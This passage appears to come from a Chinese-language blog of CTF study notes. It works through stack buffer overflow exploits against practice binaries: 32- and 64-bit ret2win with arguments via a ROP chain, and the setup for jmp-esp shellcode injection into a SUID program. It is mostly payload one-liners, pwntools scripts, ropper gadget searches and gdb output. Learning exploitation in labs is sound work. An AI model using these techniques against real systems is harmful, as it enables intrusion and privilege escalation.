0x42转换成ascii码是大写的B,对比失败后程序会跳转,破解失败

  • 修改exp内容
1
python2 -c "print 'A'*28+'\x82\x91\x04\x08'+'AAAA'+'\xef\xbe\xad\xde'+'CCCC'+'DDDD'" > exp
  • 再次打断点+运行
1
2
gef➤  x $ebp+0x8
0xffffcad4: 0xdeadbeef

第一个寄存器的值对了

  • 查看下一个寄存器的值
1
2
gef➤  x $ebp+0xc
0xffffcad8: 0x43434343

0x43转换成ascii码是大写的C,于是再改一下脚本

1
python2 -c "print 'A'*28+'\x82\x91\x04\x08'+'AAAA'+'\xef\xbe\xad\xde'+'\xbe\xba\xde\xc0'+'DDDD'" > exp
  • 再次查看寄存器的值
1
2
3
4
5
6
7
gef➤  x $ebp+0x8
0xffffcad4: 0xdeadbeef

.....

gef➤ x $ebp+0xc
0xffffcad8: 0xc0debabe

成功破解程序

也可以直接运行程序然后导入文件进行破解

pwntools脚本

1
2
3
4
5
from pwn import *   //导入pwntools模块

io = process('./ret2win_params') //运行程序
io.sendline(b'A' * 28 + p32(0x08049182) + b'AAAA' +p32(0xdeadbeef) + p32(0xc0debabe)) //程序运行后发送指定的字符串,格式为32
print(io.recvall()) //接收输出
1
2
3
4
5
6
(pwn) ➜ python3 exp.py
[+] Starting local process './ret2win_params': pid 4700
[+] Receiving all data: Done (119B)
[*] Process './ret2win_params' stopped with exit code -11 (SIGSEGV) (pid 4700)
b'Name:\nHi there, AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x82\x91\x04\x08AAAA\xef\xbe\xad\xde\xbe\xba\xde\xc0\nThis function is TOP SECRET! How did you get in here?! :O\n'

64位

获取文件信息

  • 使用checksec查看程序详细信息
1
2
3
4
5
6
7
8
9
(pwn) ➜  64-bit git:(master) ✗ checksec ret2win_params
[*] '/home/xaut/Desktop/baimaoTutorial/crypto-cat-ctf/pwn/binary_exploitation_101/04-ret2win_with_params/64-bit/ret2win_params'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
  • 查看源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(pwn) ➜  64-bit git:(master) ✗ cat ret2win_params.c 
#include <stdio.h>

void hacked(long first, long second)
{
if (first == 0xdeadbeefdeadbeef && second == 0xc0debabec0debabe){
printf("This function is TOP SECRET! How did you get in here?! :O\n");
}else{
printf("Unauthorised access to secret function detected, authorities have been alerted!!\n");
}
}

void register_name()
{
char buffer[16];

printf("Name:\n");
scanf("%s", buffer);
printf("Hi there, %s\n", buffer);
}

int main()
{
register_name();

return 0;
}

动态调试

  • gdb
1
gdb ret2win_params
  • 查看函数和反汇编hacked函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
gef➤  info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401030 puts@plt
0x0000000000401040 printf@plt
0x0000000000401050 __isoc99_scanf@plt
0x0000000000401060 _start
0x0000000000401090 _dl_relocate_static_pie
0x00000000004010a0 deregister_tm_clones
0x00000000004010d0 register_tm_clones
0x0000000000401110 __do_global_dtors_aux
0x0000000000401140 frame_dummy
0x0000000000401142 hacked
0x0000000000401190 register_name
0x00000000004011d7 main
0x00000000004011f0 __libc_csu_init
0x0000000000401250 __libc_csu_fini
0x0000000000401254 _fini



gef➤ disassemble hacked
Dump of assembler code for function hacked:
0x0000000000401142 <+0>: push rbp
0x0000000000401143 <+1>: mov rbp,rsp
0x0000000000401146 <+4>: sub rsp,0x10
0x000000000040114a <+8>: mov QWORD PTR [rbp-0x8],rdi
0x000000000040114e <+12>: mov QWORD PTR [rbp-0x10],rsi
0x0000000000401152 <+16>: movabs rax,0xdeadbeefdeadbeef
0x000000000040115c <+26>: cmp QWORD PTR [rbp-0x8],rax
0x0000000000401160 <+30>: jne 0x401180 <hacked+62>
0x0000000000401162 <+32>: movabs rax,0xc0debabec0debabe
0x000000000040116c <+42>: cmp QWORD PTR [rbp-0x10],rax
0x0000000000401170 <+46>: jne 0x401180 <hacked+62>
0x0000000000401172 <+48>: lea rdi,[rip+0xe8f] # 0x402008
0x0000000000401179 <+55>: call 0x401030 <puts@plt>
0x000000000040117e <+60>: jmp 0x40118d <hacked+75>
0x0000000000401180 <+62>: lea rdi,[rip+0xec1] # 0x402048
0x0000000000401187 <+69>: call 0x401030 <puts@plt>
0x000000000040118c <+74>: nop
0x000000000040118d <+75>: nop
0x000000000040118e <+76>: leave
0x000000000040118f <+77>: ret
End of assembler dump.

跟32位不太一样

  • 输入命令cyclic就能获得测试用的字符串
1
2
(pwn) ➜ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

作用:生成100个字符串,每四个字符的最后一个字符都不一样,用于测试覆盖程序的返回地址需要多少个字符

  • register_nameret指令前设置一个断点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
gef➤  disassemble register_name 
Dump of assembler code for function register_name:
0x0000000000401190 <+0>: push rbp
0x0000000000401191 <+1>: mov rbp,rsp
0x0000000000401194 <+4>: sub rsp,0x10
0x0000000000401198 <+8>: lea rdi,[rip+0xefa] # 0x402099
0x000000000040119f <+15>: call 0x401030 <puts@plt>
0x00000000004011a4 <+20>: lea rax,[rbp-0x10]
0x00000000004011a8 <+24>: mov rsi,rax
0x00000000004011ab <+27>: lea rdi,[rip+0xeed] # 0x40209f
0x00000000004011b2 <+34>: mov eax,0x0
0x00000000004011b7 <+39>: call 0x401050 <__isoc99_scanf@plt>
0x00000000004011bc <+44>: lea rax,[rbp-0x10]
0x00000000004011c0 <+48>: mov rsi,rax
0x00000000004011c3 <+51>: lea rdi,[rip+0xed8] # 0x4020a2
0x00000000004011ca <+58>: mov eax,0x0
0x00000000004011cf <+63>: call 0x401040 <printf@plt>
0x00000000004011d4 <+68>: nop
0x00000000004011d5 <+69>: leave
0x00000000004011d6 <+70>: ret


gef➤ b *0x4011d6
Breakpoint 1 at 0x4011d6


  • 运行
1
2
3
4
5
6
7
8
9
10
11
12
13
run

......

$rax : 0x6f
$rbx : 0x00007fffffffd9c8 → 0x00007fffffffdd90 → "/home/xaut/Desktop/baimaoTutorial/crypto-cat-ctf/p[...]"
$rcx : 0x0
$rdx : 0x0
$rsp : 0x00007fffffffd898 → "gaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasa[...]"
$rbp : 0x6161616661616165 ("eaaafaaa"?)
$rsi : 0x00000000004052a0 → "Hi there, aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa[...]"
$rdi : 0x00007fffffffd6a0 → 0x00007fffffffd6d0 → "Hi there, aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa[...]"
$rip : 0x00000000004011d6 → <register_name+0046> ret

e开头的寄存器都变成r开头的了,这也是64位程序的一个特征

32位只有4个字节,而64位有8个字节

  • 检查栈顶内容
1
2
gef➤  x/1gx $rsp
0x7fffffffd898: 0x6161616861616167

x/1gx $rsp 命令表示从 rsp 指针所指向的地址开始,显示1个8字节(g 表示8字节)的内容
输出 0x7fffffffd898: 0x0000000000401200 表示栈顶的内容是 0x0000000000401200,这就是返回地址

  • 复制返回的地址去解码
1
2
(pwn) ➜ unhex 6161616861616167
aaahaaag

注意:

由于在x86架构里,读取地址是由低到高的,所以这里的字符串是gaaahaaa

1
2
(pwn) ➜  cyclic -l gaaa
24

说明要覆盖rip原本的返回地址并控制

就需要24个字符+想让程序跳转执行的地址

  • hacked函数的地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gef➤  disassemble hacked
Dump of assembler code for function hacked:
0x0000000000401142 <+0>: push rbp
0x0000000000401143 <+1>: mov rbp,rsp
0x0000000000401146 <+4>: sub rsp,0x10
0x000000000040114a <+8>: mov QWORD PTR [rbp-0x8],rdi
0x000000000040114e <+12>: mov QWORD PTR [rbp-0x10],rsi
0x0000000000401152 <+16>: movabs rax,0xdeadbeefdeadbeef
0x000000000040115c <+26>: cmp QWORD PTR [rbp-0x8],rax
0x0000000000401160 <+30>: jne 0x401180 <hacked+62>
0x0000000000401162 <+32>: movabs rax,0xc0debabec0debabe
0x000000000040116c <+42>: cmp QWORD PTR [rbp-0x10],rax
0x0000000000401170 <+46>: jne 0x401180 <hacked+62>
0x0000000000401172 <+48>: lea rdi,[rip+0xe8f] # 0x402008
0x0000000000401179 <+55>: call 0x401030 <puts@plt>
0x000000000040117e <+60>: jmp 0x40118d <hacked+75>
0x0000000000401180 <+62>: lea rdi,[rip+0xec1] # 0x402048
0x0000000000401187 <+69>: call 0x401030 <puts@plt>
0x000000000040118c <+74>: nop
0x000000000040118d <+75>: nop
0x000000000040118e <+76>: leave
0x000000000040118f <+77>: ret
End of assembler dump.
1
0x0000000000401142

hacked函数的地址

然后程序缓冲区的区间是24个字符

关于64位寄存器的知识点
  • 64位程序将要对比的值存入rdirsi寄存器里
  • 在64位寄存器中有两个寄存器需要知道:rdi寄存器和rsi寄存器
    • rdi寄存器用于第一个参数传递
    • rsi是第二个参数传递
    • 把对比的值放入这两个寄存器里,就需要参数传递
    • 64位比32位要麻烦许多
构造ROP链
  • 找到rdi寄存器和rsi寄存器等特殊的寄存器
    • 需要ropper这个工具
    • 用处:寻找指定操作指令的地址
1
2
apt install ropper   # 安装ropper  
ropper --file ret2win_params --search "pop rdi" # 从内存中弹出值到rdi寄存器中
  • 找到pop rdi指令的地址
1
2
3
4
5
6
7
8
9
10
11
12
(pwn) ➜  ropper --file ret2win_params --search "pop rdi"

[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[INFO] Load gadgets for section: GNU_STACK
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi


[INFO] File: ret2win_params
0x000000000040124b: pop rdi; ret;
  • 执行pop rdi操作的地址
1
0x000000000040124b
  • 继续补全我们的脚本0xdeadbeefdeadbeef
1
python2 -c 'print "A" * 24 + "\x4b\x12\x40\x00\x00\x00\x00\x00" + "\xef\xbe\xad\xde\xef\xbe\xad\xde"'

从内存中弹出并存放到rdi寄存器里的值

就是需要对比的字符deadbeefdeadbeef

  • 找到pop rsi指令的地址
1
ropper --file ret2win_params --search "pop rsi"  

从内存中弹出值到rsi寄存器中

1
2
3
4
5
6
7
8
9
10
11
(pwn) ➜ ropper --file ret2win_params --search "pop rsi"


[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rsi


[INFO] File: ret2win_params
0x0000000000401249: pop rsi; pop r15; ret;

但是由于这里还执行了其他的命令,pop r15;ret;

可以传入一些垃圾字符进去

  • 执行pop rsi操作和几个其他命令的地址
1
0x0000000000401249
  • 继续补全脚本

    整个脚本的逻辑:

    垃圾字符 + pop_rdi的地址 + 我们第一个对比的值 + pop_rsi的地址 + 我们第二个对比的值 + 8个字符的垃圾数据 + hacked函数的地址

1
python2 -c 'print "A" * 24 + "\x4b\x12\x40\x00\x00\x00\x00\x00" + "\xef\xbe\xad\xde\xef\xbe\xad\xde" + "\x49\x12\x40\x00\x00\x00\x00\x00" + "\xbe\xba\xde\xc0\xbe\xba\xde\xc0" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x42\x11\x40\x00\x00\x00\x00\x00"' > exp

hacked函数地址要在最后的原因是,

如果我们放到第一个,程序跳转之后就不会执行我们后续的操作了,

所以我们要将需要执行的操作都执行后,再跳转

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 对脚本的详细解释 (来自ai)

# 缓冲区溢出:
你通过输入24个 A 来填充缓冲区,使其溢出并覆盖返回地址。
# 控制返回地址:
你使用 pop rdi 的地址(假设为 0x40124b)来覆盖返回地址,使程序跳转到 pop rdi 指令。
# 设置 rdi 寄存器:
pop rdi 指令会从栈中弹出一个值并赋值给 rdi。你在这里提供了一个值 0xdeadbeefdeadbeef,这个值将会被赋值给 rdi。
# 设置 rsi 寄存器:
你使用 pop rsi; pop r15; ret; 的地址(0x401249)来覆盖 pop rdi 指令的返回地址,使程序跳转到 pop rsi; pop r15; ret; 指令。
pop rsi 指令会从栈中弹出一个值并赋值给 rsi。你在这里提供了一个值 0xc0debabec0debabe,这个值将会被赋值给 rsi。
pop r15 指令会从栈中弹出一个值并赋值给 r15。为了不影响后续的操作,你在这里提供8个垃圾字符(0x0000000000000000)。
# 调用 hacked 函数:
最后,你使用 hacked 函数的地址(假设为 0x401142)来覆盖 pop rsi; pop r15; ret; 指令的返回地址,使程序跳转到 hacked 函数。


# 为什么需要8个垃圾字符
- pop r15; ret; 指令会从栈中弹出两个值:
- 第一个值赋值给 rsi。
- 第二个值赋值给 r15。
- 为了不影响后续的操作,你需要提供一个8字节的值来填充 r15。这个值可以是任意的,通常使用8个零(0x0000000000000000)作为垃圾字符。
  • 脚本调用pop rdi之类的指令,从内存弹出的值都是写入的值

    • 程序原本的值都被覆盖了,按照顺序弹
  • 在程序主函数的最后的地址下一个断点,方便调试,然后我们执行程序,并导入文件里的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
gef➤  disassemble register_name 
Dump of assembler code for function register_name:
0x0000000000401190 <+0>: push rbp
0x0000000000401191 <+1>: mov rbp,rsp
0x0000000000401194 <+4>: sub rsp,0x10
0x0000000000401198 <+8>: lea rdi,[rip+0xefa] # 0x402099
0x000000000040119f <+15>: call 0x401030 <puts@plt>
0x00000000004011a4 <+20>: lea rax,[rbp-0x10]
0x00000000004011a8 <+24>: mov rsi,rax
0x00000000004011ab <+27>: lea rdi,[rip+0xeed] # 0x40209f
0x00000000004011b2 <+34>: mov eax,0x0
0x00000000004011b7 <+39>: call 0x401050 <__isoc99_scanf@plt>
0x00000000004011bc <+44>: lea rax,[rbp-0x10]
0x00000000004011c0 <+48>: mov rsi,rax
0x00000000004011c3 <+51>: lea rdi,[rip+0xed8] # 0x4020a2
0x00000000004011ca <+58>: mov eax,0x0
0x00000000004011cf <+63>: call 0x401040 <printf@plt>
0x00000000004011d4 <+68>: nop
0x00000000004011d5 <+69>: leave
0x00000000004011d6 <+70>: ret
End of assembler dump.


gef➤ b *0x00000000004011d6
Breakpoint 1 at 0x4011d6

run < exp

....

●→ 0x4011d6 <register_name+0046> ret
↳ 0x40124b <__libc_csu_init+005b> pop rdi ▷
0x40124c <__libc_csu_init+005c> ret
0x40124d nop DWORD PTR [rax]
0x401250 <__libc_csu_fini+0000> ret
0x401251 add BYTE PTR [rax], al
0x401253 add BYTE PTR [rax-0x7d], cl
......
↳ 0x401249 <__libc_csu_init+0059> pop rsi ▷
0x40124a <__libc_csu_init+005a> pop r15
......
↳ 0x401142 <hacked+0000> push rbp ▷
→ 0x401143 <hacked+0001> mov rbp, rsp
0x401146 <hacked+0004> sub rsp, 0x10
0x40114a <hacked+0008> mov QWORD PTR [rbp-0x8], rdi ▷
0x40114e <hacked+000c> mov QWORD PTR [rbp-0x10], rsi
0x401152 <hacked+0010> movabs rax, 0xdeadbeefdeadbeef
0x40115c <hacked+001a> cmp QWORD PTR [rbp-0x8], rax ▷
  • 程序在执行了我们指定的操作后,才跳转到hacked函数的地址
  • 一直按n直到call 0x401030 <puts@plt>,成功破解程序
1
2
3
4
puts@plt (
$rdi = 0x0000000000402008 → "This function is TOP SECRET! How did you get in he[...]",
$rsi = 0xc0debabec0debabe
)
  • 直接执行程序+导入文件
1
2
3
4
5
(pwn) ➜  64-bit git:(master) ✗ ./ret2win_params < exp
Name:
Hi there, AAAAAAAAAAAAAAAAAAAAAAAAK@
This function is TOP SECRET! How did you get in here?! :O
[1] 7422 illegal hardware instruction (core dumped) ./ret2win_params < exp

pwntools脚本

1
2
3
4
5
6
from pwn import *

io = process('./ret2win_params')
io.sendline(b"A" * 24 + b"\x4b\x12\x40\x00\x00\x00\x00\x00" + b"\xef\xbe\xad\xde\xef\xbe\xad\xde" + b"\x49\x12\x40\x00\x00\x00\x00\x00" + b"\xbe\xba\xde\xc0\xbe\xba\xde\xc0" + b"\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x42\x11\x40\x00\x00\x00\x00\x00")

print(io.recvall())
1
2
3
4
5
(pwn) ➜  python3 exp.py
[+] Starting local process './ret2win_params': pid 7682
[+] Receiving all data: Done (102B)
[*] Process './ret2win_params' stopped with exit code -7 (SIGBUS) (pid 7682)
b'Name:\nHi there, AAAAAAAAAAAAAAAAAAAAAAAAK\x12@\nThis function is TOP SECRET! How did you get in here?! :O\n'

240925-240926

PWN入门(6)写入shellcode_pwntools shellcode-CSDN博客


写入shellcode

SUID

  • flag设置位只root可读
1
2
chown root:root flag.txt
chown root:root server
  • 设置程序位suid
1
chmod 4655 server 
  • what is setuid
1
setuid代表设置用户身份,并且setuid设置调用进程的有效用户ID,用户运行程序的uid与调用进程的真实uid不匹配
  • setuid的使用示例
1
一个要以root权限运行的程序,但我们想让普通用户也能运行它,但又要防止该程序被攻击者利用,这里就需要用setuid
  • 查看后台进程
1
2
3
4
5
6
7
(base) ➜  ~ ps -aux

xaut 3799 1.3 0.0 27356 13056 pts/0 Sl+ 19:20 0:00 vim 1.test
root 3804 0.0 0.0 0 0 ? I 19:20 0:00 [kworker/1:2]
root 3808 0.0 0.0 0 0 ? I 19:20 0:00 [kworker/0:1]
xaut 3819 3.0 0.0 13400 6740 pts/1 Ss 19:20 0:00 zsh
xaut 3861 400 0.0 15104 5504 pts/1 R+ 19:20 0:00 ps -aux
1
2
3
xaut        3799  1.3  0.0  27356 13056 pts/0    Sl+  19:20   0:00 vim 1.test
(此时另一个窗口正在运行vim)
--> vim正在以user的权限运行中

获取文件信息

1
2
3
4
5
6
7
8
9
10
(pwn) ➜   checksec server
/pwn/binary_exploitation_101/05-injecting_custom_shellcode/server'

Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
1
2
3
4
5
6
32位程序
部分RELRO,基本上所有程序都默认的有这个
没有开启栈保护
未启用数据执行
没有pie,意思是程序的内存空间不会被随机化
有读,写,和执行的段,意思是我们可以在程序里写入shellcode ▷
  • 查看源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// --> cat server.c

#include <stdio.h>

int secret_function() {
asm("jmp %esp"); // 汇编语言,意思是跳转到esp寄存器的地址里执行内容
}

void receive_feedback()
{
char buffer[64]; 定义了一个变量,名为buffer,有64个字节的缓冲区

puts("Please leave your comments for the server admin but DON'T try to steal our flag.txt:\n"); //输出字符
gets(buffer); //获取我们输入的内容
}

int main()
{
setuid(0); //保证程序以root身份运行
setgid(0); //保证程序以root身份运行

receive_feedback(); //调用receive_feedback()函数

return 0;
}
  • 一篇关于程序的堆栈的文章
1
https://courses.engr.illinois.edu/cs225/fa2022/resources/stack-heap/

动态调试

1
gdb server
  • 获取测试用的字符串并运行程序
1
2
cyclic 100
run
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
───────────────────────────────────────────────────────────── registers ────
$eax : 0xffffca80 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$ebx : 0x61616172 ("raaa"?)
$ecx : 0xf7fa58ac → 0x00000000
$edx : 0x0
$esp : 0xffffcad0 → "uaaavaaawaaaxaaayaaa"
$ebp : 0x61616173 ("saaa"?)
$esi : 0x08049230 → <__libc_csu_init+0000> push ebp
$edi : 0xf7ffcb60 → 0x00000000
$eip : 0x61616174 ("taaa"?)

......

─────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616174
  • eip指针原来的返回地址被覆盖成了taaa

  • 查一下taaa在刚刚生成的字符的第几个

1
2
(pwn) ➜  cyclic -l taaa
76

说明要覆盖eip原本的返回地址并控制

就需要76个字符+想让程序跳转执行的地址

  • 一个python测试脚本
1
2
python2 -c "print 'A' * 76 + 'BBBB' + 'C' * 100"
# A 是覆盖函数缓冲区空间的,B是要跳转的地址,C是要写入的shellcode字符
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
--> run 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC


───────────────────────────────────────────────────────────── registers ────
$eax : 0xffffca80 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebx : 0x41414141 ("AAAA"?)
$ecx : 0xf7fa58ac → 0x00000000
$edx : 0x0
$esp : 0xffffcad0 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
$ebp : 0x41414141 ("AAAA"?)
$esi : 0x08049230 → <__libc_csu_init+0000> push ebp
$edi : 0xf7ffcb60 → 0x00000000
$eip : 0x42424242 ("BBBB"?)

......

[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x42424242
  • eip的地址是B,堆栈里的内容就是C
  • 需要让程序调用jmp esp那个汇编指令,然后程序就会执行堆栈里的内容
  • 两个方法:
    • 可以使用程序内的函数来跳转到堆栈里
    • 也可以使用其他地址的指令来跳转到堆栈里
1
ropper --file server --search "jmp esp"
1
2
3
4
5
6
7
8
9
10
11
(pwn) ➜  ropper --file server --search "jmp esp"

[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[INFO] Load gadgets for section: GNU_STACK
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: jmp esp

[INFO] File: server
0x0804919f: jmp esp;

使用程序内的函数来跳转到堆栈里

  • Copyrights © 2024-2025 brocademaple
  • 访问人数: | 浏览次数:

      请我喝杯咖啡吧~

      支付宝
      微信